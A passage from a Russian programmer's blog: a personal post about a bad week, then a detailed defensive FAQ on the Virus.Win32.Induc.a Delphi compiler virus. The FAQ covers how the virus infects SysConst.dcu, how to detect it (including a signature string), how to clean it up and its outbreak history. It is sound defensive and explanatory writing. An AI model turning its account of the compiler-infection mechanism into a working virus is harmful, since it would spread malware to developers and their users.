7 октября 2009 г.

Чёрная полоса

Нет, это положительно чёрт знает что.

Сижу в последний четверг никого не трогаю. И вдруг мне коллега сообщают, что поскольку она уходит с понедельника в отпуск, то надо бы в пятницу что-то заказчику из сделанного-то и показать (а правильно показать и объяснить сумеет только она, хотя хрюлю делаю я). Я резво начинаю вкалывать, потому что я планировал какой-то минимально законченный фрагмент подготовить только к середине следующей недели. До конца рабочего дня я успеваю набросать разваливающийся по кускам залатанный шаблон и мы начинаем патчить самые явные дырки.
В итоге я пахал 12 часов и домой припёрся только к 11-ти (успел забежать в MD поесть за 10 минут до закрытия).
Конечно же, на следующий день надо ехать в командировку! Потому что в пятницу нож к горлу, но показать надо без запинки, поэтому я нужен на показе, штоб "вдруг чо". Блин, а командировка - это значит в пять с копейками утра вставать и гончить через всю Москву в Выхино.
Поэтому практически весь день я пытался поспать, а во время показа я самым наглым образом облокотился об стол и просто всё проспал.
Надо ехать обратно, купили билеты на автобус (отходил раньше, чем электричка). При выходе из зала ожидания не нашёл у себя билета. Рванулся назад - нашёл на полу. Подобрал. Сидящий рядом мужичок пожелал удачи.
Лучше бы он этого не делал.
Объявили, что автобус задерживается с рейса и будет хз когда. Пошли возвращать деньги, чтобы успеть на электричку. Вернули, купили билеты на электричку.
В электричке пошли контролёры и я не нашёл билет. Покопался. Покопался ещё. Снял куртку и переворошил сумку. Нашёл билет заныканный глубоко в боковом кармане штанов.
Не надо ездить в командировку, когда сильно хочется спать.
В субботу пробежался по магазинам, закупить шмот, который просили, и сел на электичку в Тверь. Приехал домой, узнал, что сломались обе машины, и забылся сном. Вот и весь день.
Всё воскресенье ******ся с компами (обычные шаманские танцы: вынь то, вставь это, всё почисти, местами поменяй, спроси у друга запаску... - делать, как обычно, кроме меня некому). Лёг спать опять поздно. Прощай выходные.
На электричку в Москву в 7.40 я проспал (я бы как раз на П-Р был к 10 и к 10.30 на работе - нормально для меня). Поэтому хотел поехать на следующей в 8.31. Приехал на вокзал и начал подозревать неладное, когда объявили, что 7.40 задерживается с отправлением.
К сожалению услышал я это, когда уже взял билет и стоял на платформе. Ругаться с возвратом билета сил не было никаких, поэтому я тупо простоял час на платформе и уехал в 9.25 на электричке от 7.40 (Назад в будущее, часть 4!).
В итоге на работе я оказался ближе к 12-ти (кстати, оказалось, что какие-то уроды стырили несколько метров какого-то кабеля в районе Дорошихи, из-за чего поездами пришлось рулить манульано).
На следующий день меня подозвал начальник и сказал, что я чего-то сильно мало работаю, ибо судя по IBN, загруженность у меня 43% (мы должны каждый день отмечать, сколько часов и минут мы потратили на ту или иную задачу). Пообещал приложить усилия.
Потом пришло письмо от сестры о том, что сдох моник на одной из домашних машин. Отправил советы по тестированию/реанимации.
Сегодня прислала SMS-ку, что её фирма обанкротилась и их всех уволили.
И это не говоря про траблы с EurekaLog (оказалось, что за выходные набежал чуть-ли не месячный объём support-тикетов, так что я зарылся в них с головой, забив на разработку - видимо, сказался выход D2010).

[Вырезано цензурой], я вообще доживу до конца недели?!!

P.S. И я до сих пор не могу выспаться!

Посмотреть текст целиком...

8 сентября 2009 г.

Котейка, часть 2

 
Ыть.
Posted by Picasa

Посмотреть текст целиком...

23 августа 2009 г.

Virus.Win32.Induc.a: энцать дней спустя (FAQ)

Читать предыдущую часть (первое упоминание, только для программистов).

Итак, прошло почти две недели. Решил в один пост собрать резюме последних новостей.

Внимание: здесь идёт речь ТОЛЬКО о вирусе Virus.Win32.Induc.a (название по Касперскому). Однако другие анти-вирусные продукты имеют свою систему обозначений, поэтому этот же вирус может называться у них как:

  • Induc.A
  • Mal/Induc-A
  • Virus.Win32.Induc.a
  • TROJ_INDUC.AA
  • W32/Induc.A
  • W32/Induc!dcu
  • W32.Induc.A!dcu
  • Win32:Induc
  • Win32.Induc
  • Win32.Induc.A

Я разбил всю информацию по разделам:

  1. FAQ для простых пользователей (не программистов).
  2. FAQ для программистов.
  3. FAQ по истории.
  4. Прочие вопросы.
  5. Забавные факты.

FAQ для простых пользователей.

Q: У меня анти-вирус начал ругаться на некоторые программы, говорит в них сидит Virus.Win32.Induc.a. Это ложная тревога (false-positive)?

A: Вероятнее всего нет. В подавляющем большинстве случаев это действительно программы, инфицированные вирусом Virus.Win32.Induc.a. Вы можете проверить это, закачав файл на бесплатный сервис VirusTotal.

Q: Но эта программа стоит у меня уже энцать дней/недель/месяцев. Никто не ругался, а вчера – начал анти-вирус вопить. Я ничего не скачивал(а) в последнее время. Наверное это всё же ложное срабатывание. Мне все вокруг говорят, что анти-вирусы любят ошибочно принимать здоровые файлы за инфицированные. Кому верить?

A: Ну, это точно не случай ложного срабатывания. Это действительно самый настоящий вирус. Просто его длительное время никто не находил. А когда обнаружили, то добавили в базы анти-вирусов, вот они и стали находить вирус. Т.е. вирус сидел в программах давно, с самого их создания, просто про него никто не знал. Теперь узнали.

Q: А почему же тогда анти-вирус ругается только на одну программу? Был бы это вирус, у меня всё было бы заражено! Я уверен(а), что это ложное срабатывание.

A: Это особый тип вируса, который размножается только с помощью разработчиков программ. На "воле" (машинах пользователей) он размножаться не умеет.

Q: А это опасно? Мне пора кричать: “караул”?

A: Нет. Спокойно, этот вирус ничего не делает, кроме размножения. Это скорее проблема разработчиков, а не ваша. В этот раз можете спать спокойно (речь идёт ТОЛЬКО о Virus.Win32.Induc.a).

Q: А как лечиться-то?

A: Обновите базы своего анти-вируса и запускайте полное сканирование.

Q: Мне тут добрые люди предлагают скачать программку, которая лечит Virus.Win32.Induc.a. Мне качать?

A: Однозначно НЕТ! Это действительно может быть программа для удаления Virus.Win32.Induc.a, собранная каким-нибудь энтузиастом. Но во многих случаях это может быть какая-нибудь другая пакость. Вирусописатели не упускают шумихи вокруг этого дела и воспользовались случаем лишний раз впарить доверчивым пользователям свои поделки. Оно вам надо, этот риск? Лучше запустите сканирование штатным анти-вирусом. Если с этим какие-то проблемы – воспользуйтесь online антивирусом от Касперского (нет, это не реклама, просто я других не знаю). Он может проверить всю вашу машину с самыми свежими базами вообще без установки.

Q: Что мне сделать, чтобы избавиться от Virus.Win32.Induc.a? Мой анти-вирус не хочет лечить эти файлы (вариант: лечит, но они после этого не работают).

A: Попробуйте скачать новую версию программы с сайта разработчиков. Как правило, большинство производителей программ, которые были инфицированы Virus.Win32.Induc.a, уже выпустили исправления. Если же обновления нет до сих пор – вы должны сообщить разработчикам программы о том, что они заражены. Обычно это можно сделать на сайте программы (ищите контакты, e-mail, форму для ввода сообщения разработчикам и т.п.) или в самой программе (есть не во всех программах) – обычно через меню Справка. Зайдите через недельку на сайт за исправленной версией.

Q: А где качать программу-то?

A: Очевидно: на сайте производителя программы. Если вы его не знаете, то просто вбейте название программы в Google (без номера версии). Сайт разработчиков почти всегда идёт первой ссылкой. Например, при поиске "AIMP", Google первой ссылкой выдаёт www.aimp.ru.

Q: Нет возможности скачать программу (вариант: программа записана на CD/DVD). Что делать?

A: Ну, поскольку вирус безобиден, вы можете безбоязненно запустить программу с вирусом (ВНИМАНИЕ: речь идёт ТОЛЬКО о вирусе Virus.Win32.Induc.a!). Для этого внесите программу в список исключений вашего анти-вируса. Если идёт речь об установке программы с CD/DVD, то вы можете попытаться вылечить файл после установки программы.

Q: Но я не хочу запускать программу с вирусом!

A: Что ж, тогда решайте, что вам важнее: программа или вирус. Если программу сильно хочется - запускайте её с вирусом, если же сильнее боитесь вируса - то выхода просто нет: программу придётся удалить. Вернётесь к ней через некоторое время, когда её разработчики выпустят исправленую версию.

Q: Я отключил(а) анти-вирус, запускаю инфицированную программу, а она вылетает с ошибкой Runtime error 3. Мне очень нужна программка, что делать?

A: Из-за досадной ошибки в коде вируса он может вылетать на редких машинах. Это его единственный побочный эффект (ну, не считая размножения, конечно же). Чтобы исправить это, откройте редактор реестра (Пуск, Выполнить, введите “regedit.exe” без кавычек и нажмите Enter), в левой части перейдите к разделу HKEY_LOCAL_MACHINE\Software\Borland\Delphi и удалите его (т.е. раздел Delphi). Теперь программа должна работать. Только не забудьте отправить сообщение разработчикам и попросите их уведомить вас, когда будет готова исправленная версия, чтобы её скачать.

Q: Я слышал(а), что WebMoney инфицирована! Это правда?

A: Пока эта информация не была подтверждена. Лично я проверял указанную версию вдоль и поперёк и не нашёл проблем. Скорее всего, ошибка.

FAQ для программистов.

Q: Проклятый [имя-антивируса] начал ругаться на все мои программы! Говорит: в них Virus.Win32.Induc.a. Параноидальный какой, надо отправить разработчикам с пометкой false-positive, а то работать невозможно.

A: Поздравляю, дорогой коллега, вы попались. Это не ложное срабатывание, а действительно инфекция. Вы и все ваши программы заражены.

Q: Что это за вирус?

A: Так называемый “Compile-a-virus” (“Скомпилируй-вирус”) или Virus.Win32.Induc.a.

Q: Какие версии Delphi подвержены этому вирусу?

A: Delphi версий с 4 по 7 включительно.

Q: Какие версии Delphi НЕ инфицируются этим вирусом?

A: Новые версии, начиная с Delphi 2005: 2005, 2006, 2007, 2009, включая 2010, а также Delphi Prism.

Q: Разносят ли вирус Delphi IDE или язык Delphi?

A: Нет, те версии Delphi, которые уязвимы для атаки, не поставляются вместе с вирусом. Вы получаете его, когда запускаете инфицированный exe или DLL файл на своей машине.

Q: Что делает вирус?

A: Вирус ничего не делает Delphi-ям версии выше, чем 7. Если машина заражена, то вирус не делает ничего плохого, кроме размножения.

Вирус встраивает себя в установленную Delphi версии 4, 5, 6 или 7. Потом, когда заражённая Delphi компилирует exe или DLL, то вирус автоматически появляется в результирующем модуле. Когда этот модуль запускается, то код вируса ищет установленные Delphi версий с 4 по 7 и встраивает себя во все установки, которые он найдёт. Тогда эти Delphi станут производить заражённые программы, которые снова будут искать Delphi для размножения и так далее.

Когда вирус находит подходящую Delphi для заражения, он ищет файл SysConst.pas. Он копирует файл во временную копию, добавляет в него свой код, компилирует модуль и заменяет дистрибутивный SysConst.dcu этой новой инфицированной версией. Затем временная копия SysConst.pas удаляется (вирус не модифицирует никаких pas-файлов на вашей системе). Вставляемый в SysConst.pas код просто запускает процедуру размножения вируса.

Q: А при же чём тут тогда runtime error 3?

A: Из-за досадной ошибки в коде вируса, инфицированные программы могут вылетать на машинах, у которых в ключах реестра HKLM\Software\Borland\Delphi\версия\RootDir содержится неправильное значение (например, Delphi была удалена или заменена новой версией). Подробнее см. в моём предыдущем сообщении.

Q: А как мне определить, не заражён ли я?

A: Если нет анти-вируса или он молчит – отправьте файл sysconst.dcu на бесплатный сервис VirusTotal.

Q: Как узнать, есть ли на моей машине инфицированные программы, распространяющие этот вирус?

A: Запустите полное сканирование анти-вирусом, умеющим распознавать эту бяку (сверьтесь по результатам того же VirusTotal). Не забудьте обновить базы анти-вируса. Если не хотите ставить анти-вирус – воспользуйтесь online проверкой у Касперского.

Q: У меня вирус :( Откуда он взялся?

A: Если у вас есть вирус, то вы получили его, запустив на своей машине инфицированный exe или DLL. Delphi довольно популярная среда разработки, особенно среди ISV и MicroISV разработчиков. Если на вашу машину попал заражённый файл, он мог попасть или при скачивании программы или от ваших Delphi-коллег.

Q: Что означает для меня заражение?

A: Все компилируемые вами программы будут заражены. На любой машине с не защищёнными Delphi ваши программы будут заражать эти Delphi.

Q: Я уже отправил заражённые программы заказчику/выложил на сайте. Что делать?

A: Удалить вирус с машины и пересобрать все проекты. Опубликовать/разослать обновления. Говорить прямым текстом про вирус или нет – ваше дело. Можно сказать просто (как авторы квипа): “была исправлена ошибка с вылетом программы” (это про runtime error 3). Не прикопаешься. Вроде и правда, но вроде и не вся. Конечно, по-честному лучше бы оповестить о вирусе (да, можно дать ссылку на этот блог ;) ) и порекомендовать просканировать анти-вирусом со свежими базами. Но это ваш выбор. Лично я голосую за честное предупреждение.

Q: Как лечиться?

A: Рекомендую поставить один из анти-вирусов, который умеет обнаруживать эту заразу. Если не хотите ставить – воспользуйтесь online проверкой у Касперского. Все найденные файлы излечить, а если это невозможно – удалить и пересобрать/скачать новые версии без вируса. Файл sysconst.dcu надлежит скопировать с дистрибутивного диска (в старых версиях Delphi файлы лежали “как-есть”, без упаковки в архивы).

Q: Как удалить вирус из уже скомпилированных программ?

A: Ну, ваш анти-вирус может попытаться вылечить файл, но это не всегда помогает (например, при изменении файла начинает проваливаться проверка целостности). Самый надёжный способ: очистить систему и пересобрать все проекты.

Q: Как предотвратить заражение?

A: Единственный надёжный способ: следить за папкой \Lib и \Source. Если в вашем анти-вирусе есть функция “эти-файлы-никогда-не-должы-меняться” – добавляйте в неё на слежение папки \Lib и \Source (а лучше – всю папку Delphi сразу). Если нет анти-вируса, то как вариант, можно загнать все файлы в какую-нибудь систему контроля версий или хотя бы сделать бекап и проверять на отличия перед сборкой финальных релизов. Ну, напишите хотя бы программку по сверке файлов. Программист вы, в конце концов или нет? Кроме того, я уверен, что есть и сторонние программы подобного плана – надо только поискать. К примеру, это сделанный в стиле утилит от дяди Нортона AdInf или IDSMonitor. Embarcadero рекомендует сделать бекап и использовать сравнивалки каталогов типа Free FileSync.

Примечание: ранее были советы типа создания sysconst.bak файла. Надо понимать, что это направлено против одного конкретного вируса. Сейчас это уже не имеет смысла, т.к. сигнатура вируса сидит в базах анти-вирусов – они и так его поймают. А защищаться сейчас нужно от модификаций/клонов этого вируса. И сделать это можно только контролем папок Delphi.

Q: Я слышал и другие рекомендации! Типа: создать файл sysconst.bak, переименовать dcc32.exe или установить атрибут read-only.

A: Эти способы защищают только от конкретного вируса или только некоторых (будущих) типов вирусов. Ничто не мешает вирусу не смотреть на наличие sysconst.bak или таскать с собой инфицированные dcu-шки, чтобы не пользоваться dcc32. Единственно надёжный способ: контролировать свою папку с Delphi. Какой бы иной способ вы ни придумали – обязательно появится вирус, который будет его обходить.

Более того, переименование dcc32 принесёт вам немало проблем с установкой некоторых компонент и библиотек (типа JEDI), а установка read-only атрибута и вовсе не имеет никакого эффекта, т.к. вирус не модифицирует файлы: он переименовывает старый файл и создаёт новый.

Q: А разве установка прав или там работа в Vista с UAC (под не-админом в XP) не достаточная защита?

A: Хм, ну если бы все так делали – то было бы достаточно. Проблема в том, что не так много народа об этом заботится. Впрочем сегодня это на достаточно 95%. Потому что под админом запускаются только установщики (ну, в идеальном случае, конечно). А в 95% случае установщик не компилируется из исходников вашей Delphi (даже если он на Delphi писан). Что ж, +1 одна причина не отключать UAC. Если вам лень самому защищать папки – хотя бы доверьте это операционной системе.

Q: Что насчёт выделенной машины для сборок?

A: Почти идеальный вариант, надо сказать. Но не всегда бывает возможность. Кроме того, даже на изолированную машину для сборок иногда ставится/обновляется софт, так что полной защиты тут нет. Машина для сборок + слежение за папкой Delphi + работа не под админом + [опционально] анти-вирус = вы можете забыть про эти проблемы навсегда ;)

P.S. Надо заметить, что машина для сборок создаётся не только для этого. С неё много и других бонусов.

Q: Поражает ли вирус пакеты Delphi?

A: Это возможно, но бывает очень редко. По-умолчанию – нет. Это может быть только если вы используете свои custom-пакеты вместо стандартного RTL-пакета.

Q: Поражает ли вирус C++ Builder?

A: Конкретно этот – нет. Но это теоретически возможно.

Q: Ого, у меня дата изменения sysconst.dcu – 5 лет назад! Это ж сколько он гуляет по сети?

A: Нельзя смотреть на дату sysconst.dcu, т.к. вирус сохраняет дату оригинального файла. Поэтому обычно эта дата – время установки вашей Delphi, не более того. По вопросу его времени активной жизни - см. вопросы по истории ниже.

Q: У меня нет sysconst.bak – я чист!

A: Это не всегда верно. Например, sysconst.bak мог быть кем-то удалён. Да, чаще всего это означает отсутствие Virus.Win32.Induc.a, но не всегда. Надёжнее всего – проверить sysconst.dcu, скормив его анти-вирусу или поискав в нём вручную “CreateFile(pchar(d+$bak$),0,0,0,3,0,0)”.

Q: Антивирус ругается на файл, но никакого “CreateFile(pchar(d+$bak$),0,0,0,3,0,0)” там нет!

A: Т.е. вы считаете, про при упаковке программы UPX или AspPack, пакер специально не будет паковать строку “CreateFile(pchar(d+$bak$),0,0,0,3,0,0)”, чтобы вы могли найти вирус?

Q: Я заражён, но на мои программы антивирус не ругается! Кому верить?

A: Ну, если вы компилируете программу с пакетами (run-time packages), то очевидно, что вирус в вашу программу не попадает, т.к. модуль SysConst сидит в (уже скомпилированном) пакете RTL, который вирус не трогает. Также надо обратить внимание на тот факт, что вирус не трогает отладочные копии файлов (в папке \Lib\Debug), так что если вы включаете опцию “Use Debug DCUs”, то ваша программа будет собираться с чистой, а не с инфицированной версией модуля SysConst.

Q: Все мои программы анти-вирус считает заражёнными, но не ругается ни на один файл в папке Delphi. Т.е. SysConst.dcu чист. Ложное срабатывание?

A: Ну, некоторые анти-вирусы имеют своё мнение о том, что можно, а что нельзя считать заразой. В частности, некоторые считают, что сам по себе инфицированный SysConst.dcu не представляет угрозы - а лишь будучи вкомпилирован в программу. Именно поэтому антивирус пропускает модифицированный SysConst.dcu, но ругается на программу, собранную с ним. Чтобы убедиться в этом - отправьте SysConst.dcu на бесплатный сервис VirusTotal

Q: Все эти анти-вируса "нормальным пацанам" не нужны. Если не тащить на машину что попало, то всё будет хорошо.

A: Действительно, обычно, если вы соблюдаете разумные правила осторожности, то вполне можете обходиться и без анти-вируса. Но не в этом случае. Почему? Потому что вирус попадает к вам от доверенного источника. Вы скачиваете программу от разработчика, которому доверяете. И - бац! В программе сидит вирус. Ниже я приведу примеры программ. Анти-вирус тут, к слову, действительно не помощник (если речь идёт о новом вирусе), а вот контроль папки с Delphi тут как раз в тему.

Q: Как определить, от чего я заразился?

A: Найдите инфицированную программу, скомпилированную не вами. Самая ранняя из них и будет источником заражения (ну, если вы не удалили её, конечно).

Q: Как определить, когда я заразился?

A: Найти все инфицированные программы и посмотреть самую раннюю дату создания/компиляции.

Q: У меня из-за этого вируса происходит Access Violation (как вариант: BSOD)!

A: Вы видите что-то другое. Причина этого – не в Virus.Win32.Induc.a. Он безобидный и ничего не делает. Проверяйте свою машину на другие вирусы или проверьте прямость своих рук. Скорей всего у вас просто несколько факторов совпало. И пока из них вы заметили только Virus.Win32.Induc.a. Не надо всё скидывать на него, а лучше ищите реальную причину.

Q: Вирус есть, но sysconst.bak файла нет, а анти-вирус не лечит. Что делать?

A: Проще всего – скопировать файл с установочного диска. Ну и для верности вообще Delphi переустановить ;) Для сильно умеющих – вместо этого можно пересобрать файлы в \Lib из папки \Source. Разумеется, перед этим сперва нужно провести полное сканирование системы и удалить все заражённые файлы (ну или вылечить, если ваш анти-вирус такое умеет).

Q: А вдруг самая главная зараза сидит в sysconst.bak! И когда мы его восстанавливаем, тут-то она и активируется!

A: Это параноидальный бред. Достаточно посмотреть на размеры файлов. Предположительно выполняющий реальную нагрузку вируса sysconst.bak почему-то весит меньше предполагаемой заглушки sysconst.dcu, да ещё и совпадает размером с дистрибутивным. Впрочем, если вы перекомпилируете из исходников или переустановите Delphi – хуже от этого точно не будет.

Q: Может ли быть сам дистрибутив Delphi заражён? Не опасно ли переустанавливать среду?

A: Нет. Это очевидно. Чтобы был заражён дистрибутив, надо, чтобы вирус сидел на машине для сборок Delphi в Borland (потому что вирус не умеет поражать уже готовые файлы – ему нужно инфицировать сначала среду). Но ведь сперва вышла Delphi 7 и только потом был написан вирус (иначе как бы он заражал среду, которая ещё не вышла). Вирус не обладает способностью путешествия назад во времени, чтобы испортить дистрибутив.

Q: Почему Delphi так тупо сделали, что она не следит за несанкционированными изменениями?

A: Вообще-то Delphi ничем не отличается в этом плане от всех остальных компиляторов.

Q: Эта проблема применима только к Delphi?

A: Этот конкретный вирус ищет Delphi версий с 4 по 7, но подобный тип вируса не привязан к Delphi и может поражать любые средства разработки: от Eclipse до Visual Studio.

Q: А Embarcadero будет молчать?

A: Allen Bauer сообщил в своё блоге, что Embarcadero в курсе про вирус:

At this point, here at Embarcadero, we’re actively analyzing situation and overall impact to our community. We’re also working on recommendations about how to find out if you’re infected and what to do once you see that you are. Throughout all this we’re working on recommended steps can you take to guard against re-infections. Rest assured that we’re neither ignoring this threat, nor are we going to do anything to blow it out of proportion.

What we’re working on is a response that includes ways that our customers can appropriately guard against any future attacks. Maybe this will include code and utilities for them to use, or maybe it will only be a set of guidelines and steps. The point of this post was to merely state that we’ve *seen* the reports.

Перевод:

В настоящий момент, мы, в Embarcadero, активно анализируем ситуацию и общее влияние на Delphi-сообщество. Мы также работаем над рекомендациями по вопросу обнаружения инфекции и её удаления. Кроме этого, мы также работаем над рекомендуемыми шагами, которые вы можете предпринять, чтобы предотвратить повторное заражение. Будьте уверены, что мы не собираемся игнорировать эту угрозу, но мы и не собираемся раздувать её больше того, чем она заслуживает.

Над чем мы работаем – так это над официальным ответом, который мог бы защитить наших клиентов от любых будущих атак. Может быть, это будут какие-то утилиты, может быть это будет рекомендации или инструкции. Смысл моего поста в том, чтобы сообщить, что мы видели текущее состояние дел.

Что ж, если будет реализовано автоматическое решение, то, возможно, это будет +1 причина для апгрейда, когда выйдет очередная версия Delphi. Лично я непременно перечислил бы её в статье типа “причины для апгрейда”. Это реальный способ убедить босса потратиться на апгрейд.

В настоящий момент доступен английский FAQ.

Q: Чем лично я могу помочь?

A: Как минимум используйте Vista и UAC или работайте под не-администратором в XP. А лучше всего - настройте мониторинг своих папок с Delphi. Идеальный вариант: работать "по-взрослому" и завести отдельную машину для сборок проектов (можно виртуальную). Худшее, что вы можете сделать - это ничего не изменить в своей практике. Мы (разработчики Delphi) уже допустили повальную эпидемию, так не допустим же вторую.

Разносите новость друзьям и по ресурсам, где вы обычно тусуетесь. Предупредите всех Delphi-разработчиков, что необходимо защищать свои папки с Delphi. Только не разводите панику: “найден новый вирус, его нельзя поймать, галактеко в опасносте!!!”. Информируйте простых пользователей об отсутствии угрозы от Virus.Win32.Induc.a и что Delphi тут не виноват. Короче: “spread the word”.

FAQ по истории.

Q: Кто первый обнаружил вирус?

A: Мне удалось найти только два зарегистрированных случая. Первый из них – 21-го апреля 2009-го на форумах CheatEngine. Второй из них – 23-го июня 2009-го на форумах Infinity Box. К сожалению, в первый раз человек даже не понял, что он нашёл. Вирус был в тренировочной программе типа “взломай меня” – именно поэтому был обнаружен код вируса, но никто не осознал, что это была угроза, а не часть программы. Во второй раз, было осознано, что это что-то типа вируса, но никто не стал поднимать шум, удовлетворившись удалением этой бяки из Infinity Box.

Q: Кто же тогда поднял столько шума в интернете?

A: Ну, было и третье обнаружение – лично мною 12-го августа в топике на Delphi Kingdom. Мы разбирали проблему необъяснимого вылета с runtime error 3, несколько человек сообщили о странном поведении QIP, но не стали копать дальше. Ну а я копнул, нашёл (“в очередной раз”) этот вирус. Потом администрация Delphi Kingdom повесила объявление в новостях на главной, а я опубликовал подробное описание у себя в блоге. Далее люди, которые посещают Delphi Kingdom и/или мой блог, а также являются активными участниками на других форумах, продублировали объявление в своих любимых форумах – на sources.ru, vingrad-е, Клубе ПРОграммистов и других местах (даже на немецком Delphi Praxis). Уже я не имел к этому никакого отношения – люди сами разносили новость по форумам (лично я постил только на sql.ru). В этих постах ссылки обычно были либо на Delphi Kingdom, либо на мой блог. Реже – на обоих или на форум QIP-а.

Потом новость появилась на хабре и форумах QIP (ну, вообще-то она была там с самого начала) – ресурсах с высокой посещаемостью. Народ начал активно срать в комментах, разносить новость по блогам, не программистским форумам (в том числе по сайтам, посвящённым угрозам и борьбе с ними) и т.п. Обычно в этих сообщениях вставляли ссылки на хабр или квиповский форум. Реже – на программерский форум, где они об этом услышали и уж совсем редко – на Delphi Kingdom или мой блог. В общем, волна пошла, но ни от кого это больше не зависело.

Q: Как это попало в анти-вирусные базы?

A: Ну, прочитав сообщения, народ (который сознательный) начал массовую отправку заражённых примеров в анти-вирусные компании. Я сам лично отправлял Касперскому и в Symantec (впрочем, от Symantec мне пришёл ответ, что ничего страшного в файлике нету :) Определение они добавили только через несколько дней). Раньше всего среагировал Касперский – спустя три дня. Потом мало-помалу подтянулись и остальные. Вот текущее состояние дел. Не слишком утешительно – только треть антивирусов после почти пол-месяца шумихи. Кстати, сами анти-вирусные компании не упустили случая лишний раз пропиариться – выпустив объявления типа “нами был обнаружен новаторский вирус и только мы умеем его лечить” :) Ну, а после того, как анти-вирусы начали определять эту заразу, сообщения о ней стали появляться вообще везде. Теперь уже со ссылкой на антивирусные компании.

Q: Как насчёт англоязычного сегмента интернета?

A: Ну, во-первых это сообщения/новости анти-вирусных компаний (в том числе на английском). Кроме того, при распространении народ постил объявления не только в русскоязычный, но и в англоязычный интернет (а вот выше был ещё пример с DelphiPraxis – он немецкий). Потом был мой пост в блоге EurekaLog и другие посты в DelphiFeeds. Ну и, конечно же, сами антивирусы тут добавили известности. Помимо таких вот сообщений, если вдруг анти-вирус начинает ругаться на все твои программы – уж ты-то начнёшь поднимать шум на форумах. Далее пошла волна уже по английскому интернету. Просто погуглите по sysconst.bak или Virus.Win32.Induc.a – об этом сейчас везде говорят.

Q: Сколько же реально времени эта штука активна?

A: Ну, если смотреть на код вируса, то можно предположить, что он писался в то время, когда активно использовали Delphi версий с 4 по 7 – т.е. это где-то лет 5 назад. Но это только гипотеза. Есть кучи причин, почему вирус проверяет только D4-7 (например, они стояли у автора вируса, а других версий не было; или: вирус был написан давно, но в сеть попал спустя несколько лет). Если смотреть только на факты, доступные в интернете, то первое обнаружение, как мы видели выше, было 21-го апреля – 4 месяца назад. Вот здесь человек сообщает о заражении мартовских проектов (т.е. 5 месяцев). Дата в минимум 5 месяцев также подтверждается тут.

UPD: Был предоставлен скриншот наличия Virus.Win32.Induc.A на дисках журнала Hard&Soft от января 2009-го - т.е. более 7 месяцев. Январь 2009-го также независимо подтверждён тут.

UPD: по данным, поступающим к анти-вирусным компаниям, есть отчёты ноября-декабря 2008-го года - т.е. более 9 (девяти) месяцев.

Были отчёты о заражениях от начала 2008-го года (и даже 2006-го), но не было сказано, как это определили, так что этой информации не стоит доверять (возможно, смотрели на даты sysconst файлов). Но в любом случае, даже на первые машины, о которых есть официальное подтверждение, вирус должен был как-то попасть. А на это надо время. Так что цифра в минимум год-полтора кажется правдоподобной.

Q: Как много машин поразил вирус?

A: Довольно много. Я рискну предположить, что пессимистичная оценка – половина всех Delphi разработчиков, оптимистичная – одна треть. Ну, голосование в моём блоге показывает оценку ближе к 1/2, но надо понимать, что не все голосуют. В особенности, если их эта проблема не коснулась. Так что 1/3 – более реалистично. Причём ситуация не сильно меняется в зависимости от русского/англоязычного сегмента. С мест сообщают (и ещё), что при добавлении сигнатуры в базу за 12 часов поступило несколько сотен тысяч инфицированных программ (скорее всего, это суммарно, без учёта уникальности). Лаборатория Касперского сообщает, что к концу августа у вируса есть шансы попасть в TOP-20 по распространённости.

Q: Какие программы “отметились”?

A: Ну, про QIP и AIMP слышали все, но сейчас повально сообщают о заражениях. Чем перечислять их все, проще сказать: не менее 30% всех Delphi программ. Если вас интересуют подробности – просто погуглите по sysconst.bak (ранние обнаружения) или Virus.Win32.Induc.a (поздние обнаружения). Например, это мирандовские плагины, плагины к Total Commander (сам Тотал писан на Delphi 2), TidyFavorites 4.1, Any TV Free, Offline explorer, Wise Registry Cleaner и многие-многие другие (мне действительно лень искать).

Вопросы от неумения читать/гуглить/использовать голову.

Q: Как оно распространяется?

A: Вирус инфицирует Delphi, после чего все программы, собранные в ней тоже будут нести на себе вирус, так сказать, “by design”. Эти программы находят другие установленные Delphi (на других машинах), инфицируют их и цикл повторяется снова. Т.е. полный цикл инфицирования идёт в два шага.

Q: Это всё проклятый QIP! Это из-за него заразилось столько машин!

A: Это неверно. Инфицированная версия QIP была в сети всего несколько несколько дней: выход в конце июля 2009-го (точную дату не нашёл, примерно 27-е число), вирус обнаружен 12-го августа – т.е. через две недели. В то время, как этот вирус гуляет по сети не менее года. Много людей отписались, что у них никогда не стоял QIP или стоял другой версии, но они оказались заражены. Даты заражения большинства машин – несколько месяцев. Выше мы уже определили, что первые обнаружения были задолго до выпуска QIP 8094. Скорее, заражение QIP – это вершина айсберга, последняя точка, но никак не источник инфекции. Поэтому вместо версии “молниеносное размножение по машинам”, более правдоподобна “долгий путь к вершине”. Высокий уровень распространения через день после обнаружения не говорит о скорости распространения, а скорее о факте позднего обнаружения.

Q: QIP – говно, Miranda – форевер!

A: Т.е. на факт заражения мирандовских плагинов глаза закрыть можно, а на заражение квипа – нет? Интересный подход.

Q: Delphi – говно, C++ форева!

A: Что мешает перекомпилировать этот вирус под MSVS C++?

Q: Это всё проделки [имя-компании], чтобы вынудить пользователей [сделать что-то,что они не хотят].

A: Абсолютный бред. Этот вирус не имеет никакого отношения к QIP, AOL, Microsoft, Borland/CodeGear/Embarcadero и т.п. Это просто чья-то экспериментальная поделка. “Proof-of-concept”, доказательство концепции. Чтобы это сообразить достаточно посмотреть его историю развития и код.

Q: У меня Delphi 2009 (2007, 2006, 2005): надо ли мне проверяться? (вопрос задан в топике, начинающимся словами: “Внимание, владельцы Delphi 4-7”).

A: Данный конкретный вирус поражает ТОЛЬКО Delphi версий с 4 по 7 включительно.

Q: Но у меня есть sysconst.bak в Delphi 2009! Аааа!!!

A: Читайте внимательнее: проверка на sysconst.bak – это простейший способ проверки. Он не гарантирует 100% надёжности. bak-файл мог создать кто угодно, не обязательно же вирус! Для полноценной проверки вы должны проверить dcu-файл (скормить его анти-вирусу или поискать в нём строчку “CreateFile(pchar(d+$bak$),0,0,0,3,0,0)”), а ещё лучше – сравнить его с файлом из дистрибутива.

Q: У меня в sysconst.pas ничего такого нет. Просмотрел остальные pas-файлы – ничего подозрительного. Я чист?

A: Не нужно смотреть в pas файлы: вируса там нет. Он встраивает себя в dcu-файлы. Если вы скомпилируете pas файл, то получите чистый dcu, без вируса.

Q: Я нашёл sysconst.dcu (sysconst.bak) в папке \Lib\Debug. Это вирус?

A: Ещё раз совет читать внимательнее. Virus.Win32.Induc.a подменяет dcu только в папке \Lib. Папку \Lib\Debug он не трогает. За вопросами кто такой \Lib\Debug и зачем он нужен – идите на форумы по программированию (а ещё лучше – в книжки).

Q: Я никогда не видел ошибки runtime error 3. Я чист.

